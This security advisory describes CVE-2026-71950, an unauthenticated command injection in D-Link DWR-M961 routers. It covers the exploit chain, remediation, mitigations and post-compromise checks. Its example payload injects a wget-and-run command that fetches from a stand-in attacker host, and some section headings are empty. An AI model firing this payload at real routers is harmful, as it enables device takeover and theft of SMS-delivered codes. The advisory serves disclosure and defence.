CVE-2026-71950: D-Link DWR-M961 Command Injection via formSmsManage

Executive Summary

CVE-2026-71950 is a critical unauthenticated command injection vulnerability in D-Link DWR-M961 routers (hardware version C1) with firmware versions before 1.1.5_C1_202607071108. The affected endpoint is /boafrm/formSmsManage, where the action_value POST parameter is passed to an OS shell call without sanitization.

CVSS Score: 9.8 (Critical)

This is the third in a cluster of four command injection CVEs (CVE-2026-71948 through CVE-2026-71951) disclosed for the same device. All share the same root cause — missing input sanitization in the boahttp web server — and are fixed by the same firmware release.

Vulnerability Overview

Affected Devices

Technical Details

The /boafrm/formSmsManage endpoint manages SMS functionality exposed by the router's embedded cellular modem — operations such as reading, sending, or deleting SMS messages stored on the SIM card. The action_value field specifies which SMS action to perform and is incorporated into a shell command without character escaping or allowlist validation.

This design flaw is representative of a broader pattern in embedded router firmware where convenient "run this value in a shell" shortcuts are taken during development without security controls.

Exploit Chain

1. Attacker locates DWR-M961 C1 router with web interface reachable
2. POST request crafted targeting /boafrm/formSmsManage
3. action_value field contains shell metacharacters + payload
4. boahttp passes value to system() or equivalent without filtering
5. Arbitrary commands execute under root privilege
6. Full device compromise — credentials, persistence, lateral movement

Example Payload Structure

POST /boafrm/formSmsManage HTTP/1.1
Host: <router-ip>
Content-Type: application/x-www-form-urlencoded
 
action_value=delete;wget+http://attacker.example/payload+-O+/tmp/p;sh+/tmp/p&sms_index=1

Impact Scope

The SMS angle adds a secondary risk dimension — if the router's SIM card receives 2FA codes or OTPs for other services, those are accessible to the attacker post-compromise.

Immediate Remediation

Step 1: Firmware Update

Apply 1.1.5_C1_202607071108 or later immediately:

1. Access admin panel at http://192.168.0.1 (or configured LAN IP)
2. Go to Maintenance > Upgrade (or Firmware Update)
3. Upload firmware obtained from D-Link's official support portal
4. Reboot and verify version in Status > Device Info

Step 2: Interim Mitigations (if patching delayed)

1. Disable WAN-facing management access immediately
2. Block access to /boafrm/ URIs at any upstream firewall
3. Isolate the router on a separate network segment
4. Rotate any credentials that may have been sent via SMS through this device
5. Monitor for unexpected outbound connections originating from the router

Step 3: Post-Compromise Response (if breach suspected)

# Factory reset device (clears attacker persistence)
# Then immediately apply firmware update before reconfiguring
 
# Check for scheduled tasks
crontab -l
cat /etc/crontabs/root
 
# Look for dropped files in writable directories
ls -la /tmp/ /var/tmp/

Detection

Related CVEs in This Advisory Series

References

• NIST NVD — CVE-2026-71950
• D-Link Security Advisory